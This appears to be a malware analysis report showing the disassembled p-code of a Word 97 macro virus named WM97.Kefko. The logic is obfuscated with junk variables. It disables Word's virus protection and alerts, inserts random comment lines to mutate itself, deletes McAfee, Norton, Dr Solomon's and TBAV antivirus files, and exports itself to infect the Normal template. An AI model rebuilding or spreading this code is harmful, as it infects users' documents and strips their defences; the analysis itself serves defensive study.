GyVlQrJwQvRzOrVkBhQuAsIxFpPtRfCjRxEzOl = HvFjSfNxSeOjVkHoCfAqBrToCkTlDsUuOuUwKtMx & BrDwUvMtIvPiKnAxDkFkRgOmRwHpOrOeClFxLwTwPkAnTyIsQpKsAzBtDl22397462
End Sub

' Processing file: /tmp/qstore_lklq9fed
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Kefko - 25443 bytes
' Line #0:
' 	Rem 0x0005 " HhUx"
' Line #1:
' 	FuncDefn (Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer)
' Line #2:
' 	FuncDefn (Sub KrRhAe9486())
' Line #3:
' 	Ld UjGeJpMgTfTuTkFeJwVzEpIfBq 
' 	Ld EkOrKlJuMhTeMoSwQgJePeQsSvGwIkFyKxHrGnMwRzPnKkLoLz59177072 
' 	Concat 
' 	St AiIxCkMqCrSgUsRkQoQlMxCrFjAsRzVlNiEoIrRm 
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	Rem 0x001B " LsNlEwMmCrCnQvAtQzFjTvAlUx"
' Line #6:
' 	Ld RlCgOlMo 
' 	Ld TkKoUfCuGtMv31666045 
' 	Concat 
' 	St IfHqBjJgByUtIkDrBfEtFx 
' Line #7:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #8:
' 	Ld UgOyCgBmMlSnEmIpTnPs 
' 	Ld DuKkCmVjPvOgBjFlIwEoPoEtFlVm68886236 
' 	Concat 
' 	St JyReUmBkEnEnEvJlVfPgNoOy 
' Line #9:
' 	Rem 0x0033 " KjKfVtVfNmGpOiGyJyOjMpOmNlJtLtJjDpRqBuKnGiGiUnIiJm"
' Line #10:
' 	LitVarSpecial (False)
' 	Ld ActiveDocument 
' 	MemSt ReadOnlyRecommended 
' Line #11:
' 	Ld FqDyNzMhNuIzJwUiEhGgMiBmLgEwFyEvJmHjVlMv 
' 	Ld JgDkHqAmEwApGeMyDkNlSfOnUvHvGnThRvBvCrJhFlKvAqLrNqLiRgAp19387079 
' 	Concat 
' 	St AqHmSvOuLkSeRiDmNmVrIx 
' Line #12:
' 	Rem 0x0041 " QsMiIjQuDrDwGlLhDlHqPtMqPlRhKlHvMnRuJoUrVpKkCeOsReKiAiNmIkHrIwUf"
' Line #13:
' 	StartWithExpr 
' 	Ld Application 
' 	With 
' Line #14:
' 	Ld RzIsUhKwUfBlRmPvUiJqEqLqTiEwIw 
' 	Ld RnRmBvQuPjUmGqEvDkMnBnUvHrIyDgOsEqTyHnIqUjVvTtMtLhLlCmUrFoOv82076720 
' 	Concat 
' 	St IwUhFpMtSiLyRnGnCtPy 
' Line #15:
' 	Ld wdCancelDisabled 
' 	MemStWith EnableCancelKey 
' Line #16:
' 	Ld RiCsIfVzTfRrGtFjMkPgEvAy 
' 	Ld UuNlQsCrEtEuVhDiKuMwAwNiUzKsGtTmKrBgFrUm16395144 
' 	Concat 
' 	St RgTuKmRpHnHjVkCnLwPzOqCvUrCyHjOpTfCkRkCk 
' Line #17:
' 	Ld wdAlertsNone 
' 	MemStWith DisplayAlerts 
' Line #18:
' 	Ld HjMvLyAmEsNyOfDj 
' 	Ld OeGiKiCm54115118 
' 	Concat 
' 	St RtEiRpNz 
' Line #19:
' 	EndWith 
' Line #20:
' 	Ld LwVySiQeUsKiOmNkAoDpUsDtEgAlJxLjQyLnBiMzFiAnEoGoDt 
' 	Ld HmJuKpEiGhSxBnAzCyNxQuJhAwLrHpFqOlIzJzLxMsNwQwDjTqQhSeHxMpSr28648754 
' 	Concat 
' 	St OjPhEzNt 
' Line #21:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #22:
' 	Ld BkJqBoQuMlUmDyIoAy 
' 	Ld QuFtUkHiAnFiDwEtRyEwUlLtHyNsRwAvAuUtJvNlLyFpCrBgHsNxGh39345034 
' 	Concat 
' 	St QgMmTkNuSsIeQnOvQoElKoAyCsUkMqLmVj 
' Line #23:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #24:
' 	Ld KeLsItQsMxEpVhLrQzQnUoCiJhCuAnPmTtRlCiCiPxCw 
' 	Ld OsHjHqUiDwElLnAlRqOvSvNpOyGgEvVv58473332 
' 	Concat 
' 	St SnDqQyBnFwGmBuShDgIxOrHqPkTyTf 
' Line #25:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #26:
' 	Ld RmSg 
' 	Ld RrMsBgBkKoCvKoGvSoJhHfPoTjRjVnLrVhByGsNlDzSsEeAlRi17429123 
' 	Concat 
' 	St QkEkLqEt 
' Line #27:
' 	EndWith 
' Line #28:
' 	Ld VxDjHyEuHzCqCkAzKmQh 
' 	Ld OtUmGjCwReEmOtTfMwVeThTrOwPgFvHyVjQfIlPvDoPlAjUqBnVu26586102 
' 	Concat 
' 	St PrVzKqTrJkUfTsKvMyDgOoSfRgUoKoVjTtFtIj 
' Line #29:
' 	QuoteRem 0x0001 0x0039 "This is an improved version of APMRS called SOPS by me :)"
' Line #30:
' 	Ld QiCh 
' 	Ld LoFjJrEoKwEjDsFeRmBwPzRuUxLwRkJfKw76819184 
' 	Concat 
' 	St LsVyQlGkUeAlEzFwGv 
' Line #31:
' 	ArgsCall Read 0x0000 
' Line #32:
' 	Ld FuDpJiFyAuOkPr 
' 	Ld UvMzGoTnJfErByQjDmEgSmHtIiJsMmJxUlSrToGwKnAfQvUiFrMoQsPm35323076 
' 	Concat 
' 	St JpCoFpTuEkKzQmHjNxNgNePmOqShFfLj 
' Line #33:
' 	LitStr 0x0005 "Kefko"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ActiveLines 
' Line #34:
' 	Ld EhEnTiOfCrLlDfAxIjDgMgBnNhDmMhSiQuClEyAx 
' 	Ld MeNjRsPh40717898 
' 	Concat 
' 	St FsVlFjSeAkEvKgFj 
' Line #35:
' 	Ld ActiveLines 
' 	LitDI2 0x012C 
' 	Gt 
' 	IfBlock 
' Line #36:
' 	Ld QwArAk 
' 	Ld NvAlLhLeSiUrEoLrBmJsRxJvPfKhNhApGnSvKeCtUjLzUuVpRqDgTrQgOiMm12837166 
' 	Concat 
' 	St DoGeApUyUlVyMhEuOxBgLqMsKz 
' Line #37:
' 	Rem 0x001F " SoEuIlRhPkRmCsJzGyPzToAoFwCrJq"
' Line #38:
' 	StartWithExpr 
' 	LitStr 0x0005 "Kefko"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #39:
' 	Ld OeAtRxUmUlRhTrDqPqRpQxQfPpSyFzSrNrSpKmQtJoEg 
' 	Ld Ct55348960 
' 	Concat 
' 	St IwTkLhCnPzKeApFnRe 
' Line #40:
' 	Rem 0x0015 " LjBwUzIiNoTiMpUxImPv"
' Line #41:
' 	StartForVariable 
' 	Ld TheLine 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	For 
' Line #42:
' 	Ld JtSzKlJp 
' 	Ld PrFvVrSgAvVeHjDvMlRrVkTmFoTqJpVoEe27356013 
' 	Concat 
' 	St PmMhDpOeQwMo 
' Line #43:
' 	Ld TheLine 
' 	LitDI2 0x0001 
' 	ArgsMemLdWith Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Rem"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld TheLine 
' 	ArgsMemCallWith DeleteLines 0x0001 
' 	EndIf 
' Line #44:
' 	Ld TlBm 
' 	Ld QpNyBpSf12717072 
' 	Concat 
' 	St BqFf 
' Line #45:
' 	StartForVariable 
' 	Ld TheLine 
' 	EndForVariable 
' 	NextVar 
' Line #46:
' 	Ld RnQuNwAmFoNzMhRrJgBqQiVt 
' 	Ld JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045 
' 	Concat 
' 	St Oh 
' Line #47:
' 	EndWith 
' Line #48:
' 	Ld GhIuEfRfKlIxHzOpTmIwRvSrLrRsIlFrLjNs 
' 	Ld IyItVsOtBeAnAfBzGoKkQeViSmEjIxTlCiHgVjCzJp10168487 
' 	Concat 
' 	St Ko 
' Line #49:
' 	ElseBlock 
' Line #50:
' 	Ld PnHjIvTxLeEmSfStIfFuCwJwJnNiBhGtHtLfHpKeTsBx 
' 	Ld VoBmIzIuReLwIlJx93678844 
' 	Concat 
' 	St OzMkUrGuEySv 
' Line #51:
' 	StartWithExpr 
' 	LitStr 0x0005 "Kefko"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #52:
' 	Ld AiCeIf 
' 	Ld HqQeBfNiOwHnRjQwPgPsIoBlErCfMjNfIyRuVfGsUn3137847 
' 	Concat 
' 	St QmLuUoMyClKlLyNrGxMnJjSrNlEoQhVqLv 
' Line #53:
' 	Ld Rnd 
' 	LitDI2 0x000A 
' 	Mul 
' 	FnInt 
' 	St PolySize 
' Line #54:
' 	Rem 0x001B " JuEoHwAnUnEeGyIlMlRsGwEpBm"
' Line #55:
' 	Ld BmBuSjKjJjEoKfDqOwJiEhRf 
' 	Ld KhIhAhTzJeQgTlMzUmAzAwRr5449886 
' 	Concat 
' 	St NrGnNfAvGpTsOzNpQpEzLzAq 
' Line #56:
' 	StartForVariable 
' 	Ld PolyMorphic 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld PolySize 
' 	For 
' Line #57:
' 	Ld FpQuExJmJeFxHuSjLrOgQqQvCtIlNq 
' 	Ld HfPkAnHmCwDoKzUqEjGhSpNgBhFkMhCyVuCrGeIlJeHzAwBrNiExTk82825466 
' 	Concat 
' 	St IzInIyGhUyAgGjPlPrHpItLgPgHhVxPfFjOsEr 
' Line #58:
' 	LitStr 0x0000 ""
' 	St PolyString 
' Line #59:
' 	Ld FnFl 
' 	Ld VlCfDhCiUrAjJwDuKjMhPxCtEqEyQxJxBwKnRjPtTyGyFrGsPrLsAkRyKi51338941 
' 	Concat 
' 	St SoQy 
' Line #60:
' 	MemLdWith CountOfLines 
' 	St PolyLines 
' Line #61:
' 	Ld CkJtFnHrRwHvEwOjKv 
' 	Ld FeUnJjSlDvDgAeKgFnCeFnQpOl9436449 
' 	Concat 
' 	St CzGz 
' Line #62:
' 	Ld Rnd 
' 	Ld PolyLines 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St RndLine 
' Line #63:
' 	Ld EpJySpCvBvRfUhPgQvFhSmCgTyIoUs 
' 	Ld IuNjAyJf16047418 
' 	Concat 
' 	St OgAmRmLoJyJyVgSiGlMlTfUrNwFpMwBi 
' Line #64:
' 	Ld Rnd 
' 	LitDI2 0x0027 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St StringSize 
' Line #65:
' 	Ld EtEkSkBx 
' 	Ld UuJxMwHzJpUnUlPiGiRt61445109 
' 	Concat 
' 	St KjUiQfKuFxEtQvPhTr 
' Line #66:
' 	StartForVariable 
' 	Ld SomeString 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld StringSize 
' 	For 
' Line #67:
' 	Ld RnQuNwAmFoNzMhRrJgBqQiVt 
' 	Ld JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045 
' 	Concat 
' 	St Oh 
' Line #68:
' 	Ld PolyString 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St PolyString 
' Line #69:
' 	Ld GhIuEfRfKlIxHzOpTmIwRvSrLrRsIlFrLjNs 
' 	Ld IyItVsOtBeAnAfBzGoKkQeViSmEjIxTlCiHgVjCzJp10168487 
' 	Concat 
' 	St Ko 
' Line #70:
' 	StartForVariable 
' 	Ld SomeString 
' 	EndForVariable 
' 	NextVar 
' Line #71:
' 	Ld PnHjIvTxLeEmSfStIfFuCwJwJnNiBhGtHtLfHpKeTsBx 
' 	Ld VoBmIzIuReLwIlJx93678844 
' 	Concat 
' 	St OzMkUrGuEySv 
' Line #72:
' 	Ld RndLine 
' 	LitStr 0x0004 "Rem "
' 	Ld PolyString 
' 	Concat 
' 	ArgsMemCallWith InsertLines 0x0002 
' Line #73:
' 	Ld AiCeIf 
' 	Ld HqQeBfNiOwHnRjQwPgPsIoBlErCfMjNfIyRuVfGsUn3137847 
' 	Concat 
' 	St QmLuUoMyClKlLyNrGxMnJjSrNlEoQhVqLv 
' Line #74:
' 	StartForVariable 
' 	Ld PolyMorphic 
' 	EndForVariable 
' 	NextVar 
' Line #75:
' 	Ld BmBuSjKjJjEoKfDqOwJiEhRf 
' 	Ld KhIhAhTzJeQgTlMzUmAzAwRr5449886 
' 	Concat 
' 	St NrGnNfAvGpTsOzNpQpEzLzAq 
' Line #76:
' 	EndWith 
' Line #77:
' 	Ld FpQuExJmJeFxHuSjLrOgQqQvCtIlNq 
' 	Ld HfPkAnHmCwDoKzUqEjGhSpNgBhFkMhCyVuCrGeIlJeHzAwBrNiExTk82825466 
' 	Concat 
' 	St IzInIyGhUyAgGjPlPrHpItLgPgHhVxPfFjOsEr 
' Line #78:
' 	EndIfBlock 
' Line #79:
' 	Ld FnFl 
' 	Ld VlCfDhCiUrAjJwDuKjMhPxCtEqEyQxJxBwKnRjPtTyGyFrGsPrLsAkRyKi51338941 
' 	Concat 
' 	St SoQy 
' Line #80:
' 	Rem 0x002B " KgIwTkRpOkBsFmNwTjJsMxFrExOeVsQmTlQeSoCsPn"
' Line #81:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0013 
' 	Eq 
' 	IfBlock 
' Line #82:
' 	Ld CkJtFnHrRwHvEwOjKv 
' 	Ld FeUnJjSlDvDgAeKgFnCeFnQpOl9436449 
' 	Concat 
' 	St CzGz 
' Line #83:
' 	LitStr 0x002A "Neboj, všetko je OK, som tu len ja- KEFKO."
' 	Ld vbOkOnly 
' 	LitStr 0x0008 "Dr.Virus"
' 	ArgsCall MsgBox 0x0003 
' Line #84:
' 	Ld EpJySpCvBvRfUhPgQvFhSmCgTyIoUs 
' 	Ld IuNjAyJf16047418 
' 	Concat 
' 	St OgAmRmLoJyJyVgSiGlMlTfUrNwFpMwBi 
' Line #85:
' 	Rem 0x0037 " RpGsBzOmLwUiVfHpLkEmFkBkFwOoVtJzOzVwCoFrPwHuPjFxQfCsLz"
' Line #86:
' 	LitStr 0x0008 "Dr.Virus"
' 	Ld Application 
' 	MemSt Username 
' Line #87:
' 	Ld EtEkSkBx 
' 	Ld UuJxMwHzJpUnUlPiGiRt61445109 
' 	Concat 
' 	St KjUiQfKuFxEtQvPhTr 
' Line #88:
' 	LitStr 0x0008 "Dr.Virus"
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000F "RegisteredOwner"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #89:
' 	Ld RnQuNwAmFoNzMhRrJgBqQiVt 
' 	Ld JzNtVyQlToAfSrNrLkQmGrVnNuHiCuShLp225045 
' 	Concat 
' 	St Oh 
' Line #90:
' 	LitVarSpecial (False)
' 	ArgsLd ShowCursor 0x0001 
' 	LitDI2 0x0000 
' 	Ge 
' 	While 
' Line #91:
' 	Ld FmFxEsLyHxQzPiPyUzHiLqChKoVhUhBmOeCrRuOk 
' 	Ld VqByRjCxDvLvGfEi71701640 
' 	Concat 
' 	St Ew 
' Line #92:
' 	Wend 
' Line #93:
' 	Ld KvAgQoCkJuTjJuVvRz 
' 	Ld JuAl89746784 
' 	Concat 
' 	St PwIxFtOoPtVgUfGt 
' Line #94:
' 	ArgsCall (Call) NuLtGl302 0x0000 
' Line #95:
' 	Ld EmTy 
' 	Ld CgAkGjQfOp23239510 
' 	Concat 
' 	St UfLyMxBpJrUeUsToAgUnNwEeCiEnDm 
' Line #96:
' 	EndIfBlock 
' Line #97:
' 	Ld RzSnLoKqSxJnQjPoUpSuQvDtSuFrLkTfRoTyLuGgPhGfFkJlRe 
' 	Ld BkTwJfFeFgOqHpLxRzHkEsSeDsRiVoRrPxKgNtSqGqUfTe72834694 
' 	Concat 
' 	St HkHtAjSgDfSmHeHpBg 
' Line #98:
' 	EndSub 
' Line #99:
' 	FuncDefn (Sub NuLtGl302())
' Line #100:
' 	Ld PjBmQr 
' 	Ld AvNyByKrBkVhTiDtNmBp69668657 
' 	Concat 
' 	St DtNoNrMtMiTwPuRkIkCeHhJtPlBz 
' Line #101:
' 	OnError (Resume Next) 
' Line #102:
' 	Ld BzSfVrSe 
' 	Ld ElIoVvBmKhJwFlToIoMlLmTwFuQlRgKkRoTkMsHfJrJw39527537 
' 	Concat 
' 	St RoRuCjQgRvVoGmIjIjFnBrCiHzJpJjLpTeFmSnMm 
' Line #103:
' 	LitStr 0x0021 "C:\PROGRAMME\MCAFEE\VIRUSSCAN\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #104:
' 	Ld AsTmNrOiNeApLkRqAyBk 
' 	Ld DzNt11896293 
' 	Concat 
' 	St SmIeQySpPfDgTnByOlTlBiHoRfJuCeQyFeRx 
' Line #105:
' 	LitStr 0x0023 "C:\PROGRAMME\MCAFEE\VIRUSSCAN95\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #106:
' 	Ld MyLoPsSpOoNsLkTtOoCfAo 
' 	Ld TqCgAlTqGxTiGs7168235 
' 	Concat 
' 	St BoThIxNqKkOzSvRwTeUtVpHkCtHoMvBuVhTf 
' Line #107:
' 	LitStr 0x0030 "C:\Programme\Dr Solomon's\Anti-Virus Toolkit\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #108:
' 	Ld HqLsSkKwJsAoLoUsNeUh 
' 	Ld VrFpHlQwCvVpKvOpJlKoAuVsTkPmHyOrCgFy92187694 
' 	Concat 
' 	St IgBgVeJyPg 
' Line #109:
' 	LitStr 0x001A "C:\PROGRAMME\TBAV\TBAV.DAT"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #110:
' 	Ld PoPq 
' 	Ld AhQxDxQmJtLmMlKeShRtItRlKrLgPuRjLhCnSeIfLgEz88759208 
' 	Concat 
' 	St KlRnDuHeRfNnIrTvAhMzIhMwMlIqBrVjAzKgRvNj 
' Line #111:
' 	LitStr 0x0010 "C:\TBAV\TBAV.DAT"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #112:
' 	Ld FxJtAkBrCmVhFeUrReFlKhIwEfJmMyRrTtKtHkIlMoPqAlVe 
' 	Ld LxBnPxJqFxStTvBpTkBeTvFqPmCuLqTtLmVr40743508 
' 	Concat 
' 	St UhFzLkDxAgPrLoOnKmRhRlBrKfIwFkCgJuNrFwAf 
' Line #113:
' 	LitStr 0x0029 "C:\Programme\Norton Antivirus\V32scan.dll"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #114:
' 	Ld FlOwKfHeSpRtAeKfEqPxMmEqFfHwDvSfGfLrGi 
' 	Ld RnEvKgJpCgBgEyIxTzPyUmClQnCw86484844 
' 	Concat 
' 	St FxHvRlKvNhCtNtSvUq 
' Line #115:
' 	LitStr 0x0029 "C:\Programme\Norton Antivirus\Virscan.dat"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #116:
' 	Ld HpVpEf 
' 	Ld TmNkUpEpSrDhJfQkHlJsMhIxKjVgAfJn2619936 
' 	Concat 
' 	St IkPeNkBxOwSsLxQhRoFrApNl 
' Line #117:
' 	EndSub 
' Line #118:
' 	FuncDefn (Sub Lr2385())
' Line #119:
' 	Ld Ci 
' 	Ld TmSnUoDnKoJwOuLsTjBgUsSfBjQrKvMtOtMlQlPyFeLoQoDy13915792 
' 	Concat 
' 	St KmUjTjRjMvKmDhFuJjPoAhVpEnHiDvBqGf 
' Line #120:
' 	OnError (Resume Next) 
' Line #121:
' 	Ld KpBeUwFuSvVlDxTwHgCyVhQzViHyKpRq 
' 	Ld MwIyPoAgUgChVrVpOhFj65905997 
' 	Concat 
' 	St QtSlDwGsTiFwQqNnIv 
' Line #122:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #123:
' 	Ld RzIrKkJtQyUzFhGuPtSuEkAnPjEsTvJrUiOfAnBsStTt 
' 	Ld Cx94781061 
' 	Concat 
' 	St CuAiVyKkOyPhDtDrCiKhHrDnFjCuVn 
' Line #124:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #125:
' 	Ld VmVlElByVnQh 
' 	Ld GjAjKoVpDrEiJuSvHsLkMiPlKzGvDyIiVzKhFuOj28363290 
' 	Concat 
' 	St UzNfTeLyBmFpLjRpDuViRkVuCj 
' Line #126:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #127:
' 	Ld EoSoUhQpDuRjJqEkIv 
' 	Ld VuEiPgCkFzSpVpMuFpLjSmRrVwFeMkUzHzLwOe96408907 
' 	Concat 
' 	St EqBzKuExPuDqMkCfGkMnOuGjMlBpFx 
' Line #128:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #129:
' 	Ld BpHhLiGxKeSpLoJrAmLtCtCyQiKrIvMlLsThPgJgOi 
' 	Ld Hv9133145 
' 	Concat 
' 	St CkMrHsDmAlDgAoHrGuMmDrIjMvCr 
' Line #130:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #131:
' 	Rem 0x0037 " IpTuFvAoVjLgNzLnRyRjGiIyJwCrCoUoAyVjQiAzRpMkDwJkOoHpDi"
' Line #132:
' 	Ld Qh 
' 	Ld SwRxGrMuLxJeNwIjNoMhVgMh13128798 
' 	Concat 
' 	St Ah 
' Line #133:
' 	EndWith 
' Line #134:
' 	Ld HxOyJpBpFyFvKvHnRr 
' 	Ld AsIyRjDeNjRrQnEh62914276 
' 	Concat 
' 	St UzAwOhSvEs 
' Line #135:
' 	LitStr 0x000C "C:\Kefko.sys"
' 	LitStr 0x0005 "Kefko"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #136:
' 	Ld KvAgQoCkJuTjJuVvRz 
' 	Ld JuAl89746784 
' 	Concat 
' 	St PwIxFtOoPtVgUfGt 
' Line #137:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #138:
' 	Ld EmTy 
' 	Ld CgAkGjQfOp23239510 
' 	Concat 
' 	St UfLyMxBpJrUeUsToAgUnNwEeCiEnDm 
' Line #139:
' 	LitStr 0x0008 "Dr.Virus"
' 	MemStWith Author 
' Line #140:
' 	Ld RzSnLoKqSxJnQjPoUpSuQvDtSuFrLkTfRoTyLuGgPhGfFkJlRe 
' 	Ld BkTwJfFeFgOqHpLxRzHkEsSeDsRiVoRrPxKgNtSqGqUfTe72834694 
' 	Concat 
' 	St HkHtAjSgDfSmHeHpBg 
' Line #141:
' 	LitStr 0x000A "WM97.Kefko"
' 	MemStWith Comments 
' Line #142:
' 	Ld PjBmQr 
' 	Ld AvNyByKrBkVhTiDtNmBp69668657 
' 	Concat 
' 	St DtNoNrMtMiTwPuRkIkCeHhJtPlBz 
' Line #143:
' 	LitStr 0x000C "Všetko je OK"
' 	MemStWith Keywords 
' Line #144:
' 	Ld BzSfVrSe 
' 	Ld ElIoVvBmKhJwFlToIoMlLmTwFuQlRgKkRoTkMsHfJrJw39527537 
' 	Concat 
' 	St RoRuCjQgRvVoGmIjIjFnBrCiHzJpJjLpTeFmSnMm 
' Line #145:
' 	ArgsMemCallWith Execute 0x0000 
' Line #146:
' 	Ld AsTmNrOiNeApLkRqAyBk 
' 	Ld DzNt11896293 
' 	Concat 
' 	St SmIeQySpPfDgTnByOlTlBiHoRfJuCeQyFeRx 
' Line #147:
' 	EndWith 
' Line #148:
' 	Ld MyLoPsSpOoNsLkTtOoCfAo 
' 	Ld TqCgAlTqGxTiGs7168235 
' 	Concat 
' 	St BoThIxNqKkOzSvRwTeUtVpHkCtHoMvBuVhTf 
' Line #149:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #150:
' 	Ld HqLsSkKwJsAoLoUsNeUh 
' 	Ld VrFpHlQwCvVpKvOpJlKoAuVsTkPmHyOrCgFy92187694 
' 	Concat 
' 	St IgBgVeJyPg 
' Line #151:
' 	Rem 0x0049 " DzGuQjDxUzErAsKxLeJhOkBhMhRmIuDhUyFsLvLnPsFzQuNxDzKsIeFoQpAsTtAsEhDiMyVw"
' Line #152:
' 	Ld x 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "Kefko"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St JpFiEe9508NuLtGl2385 
' 	EndIf 
' Line #153:
' 	Ld QjDoQtKwEjQiHiPjEx 
' 	Ld EfNsEuVqKhHrByQiRxDvVmVtKoKrSoVqDrOxHoHfLvOzEnLhQwNrBnHsSo7758354 
' 	Concat 
' 	St MxFqMfKvIsSlMtRnQq 
' Line #154:
' 	StartForVariable 
' 	Ld x 
…

Open this report in the interactive analyzer, or submit your own file for analysis.